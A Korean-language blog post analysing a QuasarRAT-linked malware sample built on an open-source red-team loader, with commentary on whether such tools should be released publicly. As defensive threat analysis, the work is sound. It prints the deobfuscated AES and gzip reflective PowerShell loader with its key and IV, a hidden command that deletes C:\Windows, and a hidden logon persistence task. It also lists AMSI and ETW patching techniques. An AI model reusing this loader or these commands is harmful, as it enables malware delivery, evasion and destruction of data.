상세 컨텐츠

본문 제목

Pitchforks Out! 오픈소스 레드팀툴 - 저주인가 축복인가 - QuasarRAT 케이스

카테고리 없음

by 0xmh 2024. 10. 8. 22:09

본문

728x90

오늘도 - (네, 악성코드 그렇게 좋아합니다 ㅎㅎ) - 악성코드 헌팅하다가 재밌어 보이는 샘플 하나 발견해서 자세하게 분석해 봤습니다.

미리 결과를 말하자면, 오픈소스 레드팀(?)툴을 활용해서 다양한 악성코드 배포를 위한 멀웨어였는데 문득 그런 생각이 들었습니다: "레드팀 하는 사람들은 깃허브에서 자기 만든 로더, 새로운 인젝션 방법, EDR 우회 기술 뭐 이거저거 다 올리는데 정말 악당인 사람들이 그걸 가지고 악용하면 어떡하지?"

오해하지 마세요. 저도 레드팀에 관심이 엄청 많고 위협 인텔 관련 일을 안 할 때 C나 Rust로 악성코드 개발 알아보긴 합니다. 다만, 그걸 다 비공개 깃허브에 저장해 두고 만약에 공개한다고 해도 무조건 내가 만든 악성코드를 탐지할 수 있는 YARA 룰이나 비슷한 탐지 기술하고 같이 공개할 것 같습니다.

당연히 레드팀 입장에서 충분히 "아 근데 고마운 줄 알아야지. 우리가 새로운 공격 방법에 대해서 알려 주는데 그걸 왜 몰라줘"라고 할 순 있겠죠?

근데 그런 새로운 "해킹 기술"이 공개됐을 때 이로 benefit을 얻는 사람들 중에 누가 가장 빠를까?

a) 돈을 밝혀서 깃허브 뒤지고 간절히 새로운 "해킹 기술" 필요한 블랙햇 해커

b) 쉬는 시간도 없고, 야근 겁나게 하면서 엔드포인트 몇천 개 관리하는 보안 담당자?

뭐... 답이 뻔하죠?

충분히 논란이 될만한 주제여서 일단 여기까지. 악성코드 봅시다.

 

악성코드 분석

Stage 1

당연히, 해쉬를 먼저 공개합니다. 따라해 보고 싶으신 분들 따라해 보시길~ 71f7220fe4aa1304964d7e4845f3e35d33cf4abf120a92c780e47c83f76e7101 (Exploit_Locator.V_1.zip)

일단 딱 봐도, AV 엔진 65개 중 2개만 이 악성코드를 "악성"으로 판단합니다.

파일 다운로드하고, 압축한 후 파일 2개 받습니다.

B032A4909919E85A0A6DBD4A953173CB60C81AE5462F7DD0CFC0370D3D831ADE (Exploit Detector LIST.cmd)

E99E1F8A7E8909B487B162E4DCB4B7E10A82331B0093AD4AB0A894C61C975BD7 (Exploit Locator.cmd)

두 파일의 obfuscation 루틴이 똑같아서 이 분석에서는 Exploit Detector LIST.cmd만 분석해 보겠습니다.

 

딱 파일 열고 보자마자 뭔가 "하"~하면서 한숨밖에 안 나왔는데 다시 보니까 줄마다 맨 앞에 "쓰레기" 스트링이 있습니다. 그걸 삭제하고 줄 끝에 있는 코드만 신경 써주면 됩니다.

[그림1]: Obfuscation

당연히, 수동으로 정리할 수는 있지만 시간이 많이 없을 때 (위 발언 기억나죠? 우리 블루팀이니까 시간이 많이 없쥬?) dynamic한 방법을 선택했습니다.

procmon을 열어 "cmd.exe"와 "powershell.exe" 필터를 걸어놓고 파일 실행해 봅시다.

오케이 좋습니다, 뭔가 하는 짓이 많네요? 그중에 어느 정도 deobfuscate된 코드도 있기를 기도합시다.

[그림2]:procmon dynamic 분석

cmd.exe (2128)

확인해 보니 바로 원했던 것을 얻습니다. output이 엄청 이쁘진 않지만 그래도 정리 조금 한 후에 다음과 같은 코드를 획득합니다.

function decrypt_function($param_var) {
    $aes_var = [System.Security.Cryptography.Aes]::Create();
    $aes_var.Mode = [System.Security.Cryptography.CipherMode]::CBC;
    $aes_var.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
    $aes_var.Key = [System.Convert]::FromBase64String('Hp6l3wlmUshUkZtXNKXAsaGYHcWGxsZ2VO0aNdxbC90=');
    $aes_var.IV = [System.Convert]::FromBase64String('jg4acYC4bURk2ZxBlocd4A==');
    $decryptor_var = $aes_var.CreateDecryptor();
    $return_var = $decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length);
    $decryptor_var.Dispose();
    $aes_var.Dispose();
    $return_var;
}

function decompress_function($param_var) {
    IEX '$QEPve=New-Object System.IO.MemoryStream(,$param_var);'.Replace('', '');
    IEX '$MFRzi=New-Object System.IO.MemoryStream;'.Replace('', '');
    IEX '$JYBIg=New-Object System.IO.Compression.GZipStream($QEPve, [IO.Compression.CompressionMode]::Decompress);'.Replace('', '');
    $JYBIg.CopyTo($MFRzi);
    $JYBIg.Dispose();
    $QEPve.Dispose();
    $MFRzi.Dispose();
    $MFRzi.ToArray();
}

function execute_function($param_var, $param2_var) {
    IEX '$bfJwC=[System.Reflection.Assembly]::Load([byte[]]$param_var);'.Replace('', '');
    IEX '$trdjH=$bfJwC.EntryPoint;'.Replace('', '');
    IEX '$trdjH.Invoke($null, $param2_var);'.Replace('', '');
}

$PGgph = 'C:\Users\User\Desktop\Exploit Locator.cmd';
$host.UI.RawUI.WindowTitle = $PGgph;
$PYrWJ = [System.IO.File]::ReadAllText($PGgph).Split([Environment]::NewLine);
foreach ($rbzJL in $PYrWJ) {
    if ($rbzJL.StartsWith('qeQQWZwFgYDUkcZQUJLv'))  {
        $wjCgT = $rbzJL.Substring(20);
        break;
    }

}

$payload1_var = "%hiUBBAvHFhqFILTDpxit%%stkyZZkUeQUTKQyRriia%%ggGKODmhTLJFIDwOXvCB%%pBDOmwVRnblhoinmNAJv%%NdbsholgtKUWFHKEDSxs%%IuURACqAqkbwMgNmAkHY%%lPyCgpBHyIIUcrMtijSF%%XKPjJxkzTxeslzgTWrLl%%aJcIBguutudqscaAZpTI%%ecNaDqJDkTwRyHEoIgHC%%dPfztNZjyGTHxcgYVbel%%wRkAXmSLxMRSHrFpXoGP%%qAeEZPuvAGtHcvgmFFBh%%UoLMObZgxRaGuoUVMGAh%%SxkQtkQlksKsNzVcPsQY%%QnXJFMmNBkAZetpxdUtD%%kNVfhITVtRgtPCrEzBkG%%XdKaSLntkxYUZmNcsSCX%%SrtJdgjCcKXCJMFhdUmw%%uAKVTmuDOomHYnNGJaXL%%BLrzAwkmGGZxFgCsGxQQ%%MFNNxqDwYZxdXAUIjkvx%%chWhpPbSLvamjgZWYDbj%%SNnHjWzemTjvctNEJGxI%%pLKDYlTRBYKFjlEoToXt%%qWGSmEjPsvmrgtUhdKIY%%cIDniEmQPzKuIesseSru%%bdyfLtyPqwljFZqHssJH%%ssaTKSJcbBdktoWZjxCP%%fwAsnBOINKaLiJcIcEvT%%KwOOtaPrcrxUQUCVSIFj%%daoqBrbJmoWFcJfJILYn%%LxFvmfVohgPuZlPJhymc%%ZgeOvSRhPTnhKsxGuTdw%%vNCgyCFRTvBkyVnFsRat%%nOynTIKGNjpouQHlDYqT%%nanurcIOeSnDSKiHoomP%%RYdKfmQHoccuAhgnBeWQ%%ZVCVWMwKIZXoLAboXDpe%%maAcQTcKDVgjswPWwiOs%%QfZoeNIagSpXPRDZvzfd%%KLgMTNVpKeROPWngblXc%%kcELFiuBSQBWdKIfZmur%%SspbaAiSDwXjCcSIgvhL%%suwTDVLeoihOQGjRMDKe%%ZBYwTruaSZZDfJYyWvxf%%PeEuojsVSaVDLcLRvaam%%ALlojEIhHLVqfFpVXDhJ%%YyhRdvSdXhcWvkEdSqlK%%BlohfFxfMQTSSrocDukN%%LFkzJZVUaldHrwiNkaLy%%YMqhnjdeWCAyfxZVaOxg%%JCfBNmAviBRDILOYodmz%%WRYxLFBTxmMvCFPwHOta%%IHVvKWPtIaGXCXkSEHQi%%LHYVPwacWsrzJlRoVCNO%%PilxFOTFvWRaYlpbJZGo%%WMwqJhoqgVWbUbsDwBqa%%CvHZAqBxWPFVWyRcLUNy%%ADyAaQgWSMFiJFMAfxPs%%FQuqpaevjqRBNRAZWhZK%%kEFjkxmrMqXofuSJjikZ%%LKNCUeuSeMEYxeiblkgS%%ONJSsDvsYRQOWZYzRcpg%%cumZMYQamRyZcslXbUkq%%IcTnWPbxgJkjUaPuBJgt%%MvghtRMEOayWSYxaAYcX%%XtUCGoecCRwrOQDnWMUf%%cxIflnrWCPTCHiwtADAe%%MKbXEgicujeNeWUzKPrt%%XizNXUKFtkMsmQtsvLAe%%eoBsKfxKoWJLlggElnaJ%%wDIkwLBoDCeZomoIHgcR%%wZrwBbhfJOghLRIBFqVZ%%EjhLSJxYSxXelinwlmJv%%DwEOvXoxEMdqkdnnSFER%%DinmRcWCDmptHAviEspU%%vaufuGThVaDFIRRvisXt%%aLTrxJIKHfIzqJvDNhRk%%iOHDIJKPIaZmvVUKhdHK%%XjAQrdpZwoHaAMlmdpJN%%YTbHfweuPLwKAgmYoRlE%%tLtusYLJKHGRtULeiSKV%%ZVkKSXAtznXmdetnzHoh%%KvKheFqFviQvgqFyBICv%%xrjwKtNoAyEBEDkEldGn%%GVYqxCgNzUMReTJtlnxK%%RceWDpRDganxcpPCsSZh%%naPFLNwKTRsYGVvEQbNh%%KDGzHoOPdhasnpxRmylQ%%TgJpHpRgTlLqfRwKtqYx%%YGGMQaKqyDrsQWoETrRs%%wIWSvJmvSMyWANSmzWyH%%EBIpUtAjDSQbyFaqJOrh%%NpyLfuRcebfXTjOVZGYb%%jdSaWwxUNBCLFrTpdXkz%%BxeBNThpRfqdPpXKwxOI%%WWpCyurCpzScwyAMYrnd%%oidIlzVqtjSFiBDEhBcs%%BFZsmoHrPlLfkLtNTHrZ%%ybjgHnTUUVEwoUBJjLvX%%SEBhxMuwhQLAkcUAvSKZ%%uMwUGoQpkKEiluhUzbJU%%SwNejemlabnqavDfhHBi%%VemxlDoQVZaujQhXZrKB%%cFpiwnhPQbNSAAZNkpSG%%QvqabThkoFgPWZgqPebX%%vyZTmhUJQuNJzeLGophD%%gXBlVXWAtJXfoUkswwOT%%YxtTSwqSoAbzWyRyWOXo%%ltphwHuETtkSBoEJDHsy%%HdmTHyjQdMvHyzIFilxl%%bLZVqjYITiUovzHhhwAY%
"

$payloads_var = [string[]]$wjCgT.Split('\');
$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));
$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));
$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', ' / ').Replace('@', 'A'))));
execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] (''));

 

얼마나 좋아~~ 쟈 그럼 어디 한번 봐봅시다잉.

 

  • 암호화: AES 알고리즘을 CBC 모드로 사용.
  • 압축: GZip 압축을 사용하여 데이터를 압축하고 해제.
  • 코드 난독화
    • Base64 인코딩
    • 문자 치환 (#을 /로, @를 A로 교체)
  • 동적 코드 실행: IEX (Invoke-Expression) cmdlet을 사용하여 문자열을 PowerShell 코드로 실행합니다.
  • 리플렉션: System.Reflection.Assembly::Load를 사용하여 런타임에 어셈블리를 로드하고 실행합니다.

코드의 마지막 줄을 보면 "execute_function"이 나오는데 실행보단 일단 output을 궁금하니 Write-Host를 활용하여 payloads_var 변수에 무엇이 저장되어 있는지 확인합니다.

[그림3]: Write-Host 결과

 

오케이, 예상대로 잘 되었으니 cyberchef에 넘어갑시다.

코드에서 확인했던 대로 Deobfuscation 과정에 들어갑니다~

a) # --> / 교체

b) @ --> A 교체

c) From Base64

d) AES Decrypt (key --> Hp6l3wlmUshUkZtXNKXAsaGYHcWGxsZ2VO0aNdxbC90=, IV --> jg4acYC4bURk2ZxBlocd4A== (꼭 옆에 Base64로 해줘야 함!!)

[그림4]:Cyberchef 결과

오케이, 보니까 gzip 파일이 나오네요? 근데 다음 단계에 넘어가기 전에 아까 그림 2에서 확인했던 Process Tree로 돌아가봅시다

powershell.exe 1156

에휴 못 됐어 아주 그냥... 내 C:\Windows 폴더 다 삭제해보려다니! 나빴어!

powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command " Remove-Item '\\?\C:\Windows \' -Force -Recurse

powershell.exe 8656

작업 스케줄 존재하는지 확인하려는 것 같은데 그런 걸 아직 못 봤는데?

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\User\AppData\Local\Temp\SC')

powershell.exe 11196

아하, "OneNote startup_str"이라는 작업 스케줄이 생성되며 C:\Users\User\AppData\Roaming\에 저장되어 있는 SCV.cmd라는 파일이 유저 로그인 시 실행됩니다.

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\User\AppData\Roaming\SCV.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force

[그림5]:작업 스케쥴

Stage 2

오케이 그러면 Cyberchef가 준 파일 봅시다.

00845D20E7582F1B9D38E4C4030E1E3BBB586FB251961C8D90424E4E99D5E85A

NET 바이너리라 DnSpy로 열어본 결과는~

"SharpVenoma"라는 스트링이 보이네요. 분석을 좀 해봤는데 딱 봐도 레드팀툴인 것 같아서 구글 좀 해봤더니 역시 Github Repo가 있었습니다.

[그림6]: Stage2

흠 뭐... 사실 놀랍지도 않았어요 ㅎㅎ CobaltStrike를 활용하여 "EDR Bypass" 자랑하는 repo네요. (사실 다른 사람들에게 "인터넷 점수"를 받으려고 하는 사람들이 쓰는 EDR Bypass라는 단어에 대해서 블로그 하나 더 쓸 수 있습니다... 근데 이 분은 그런 발언하지 않았기 때문에 일단 참습니다 ㅎㅎ

그러나!!! EDR가 악성코드가 실행됐을 때 바로 탐지 못했다고 해서 EDR Bypass가 아니라고오오오오오!!!! 명심합시다.

[그림7]: Github Repo

오케이, 그러면 이 repo로 다시 돌아가서 기능에 대한 설명 잠깐 봅시다

> DLL Unhooking (Perun's fart)
> ETW Patching
> AMSI Patching
> EnumPageFilesW execution
> Early Bird APC Execution
> Indirect syscall execution

딱 봐도 EDR 우회를 위한 기술들이네요.

1) DLL Unhooking: EDR가 박아두는 훅들을 없애기 위해서 새로운 NTDLL를 프로세스에 로딩합니다

2) ETW Patching: EDR가 많이 사용하는 Event Tracing for Windows을 조작

3) AMSI Patching: AMSI (Antimalware Scan Interface) Bypass를 위한 기술

4) Early Bird APC Execution: 많은 인젝션 기술들 중에 하나

5) Indirect syscall execution: CreateRemoteThread, VirtualAlloc 등 같은 수상한 윈도우 함수를 쓰지 않고, 바로 syscall 활용하는 기술 

Side Quest

오케이 이걸 다 정리했으니까 가장 앞에 얘기했던 부분으로 돌아갑시다...

그러면, 악당들이 이런 거 쓰면 어떡해?라는 질문이 계속 머릿속에서 맴돌았는데 VT를 좀 더 뒤져봤더니 비슷한 파일 2개 더 나왔습니다.

6949177ca08001b0f3f514acf7130a1c05869349f104980f139ec2f1a79315d8 6c3843a35249f3a20f1861f3c2397a0021618c8aad12019fb4f6e495f4df2a24

 

첫 번째 해쉬만 보겠습니다:

완전 똑같은 파일이라 분석은 다시 하진 않지만 행위를 봤을 때 눈에 띄는 IP 하나가 있었습니다.

[그림8]: 다른 샘플의 수상한 IP

 

별 설명 없이 바로 Censys의 output 보여드립니다. QuasarRAT이라는 악성코드와 관련이 있네요. No comment하겠습니다.

그리고 Censys가 캐치한 QuasarRAT 수는 얼마나 될까?

120개... 오케이

결론

그러면, 오늘의 수학여행은 여기까지

몇 가지 다시 말하자면:

1) Red Team 까는 내용이 아닙니다. 저도 많이 좋아하는 분야이기도 하고 훌륭한 분석가가 되기 위해서 "알아야 한단다 다크사이드도"라고 요다 선생님이 말해주지 않을까요? 아마 아니겠지만 갑자기 스타워즈 생각나서요... ㅋㅋㅋ

2) 레드팀툴 공개할 때 적어도 탐지룰이나 로직 같이 알려줍시다.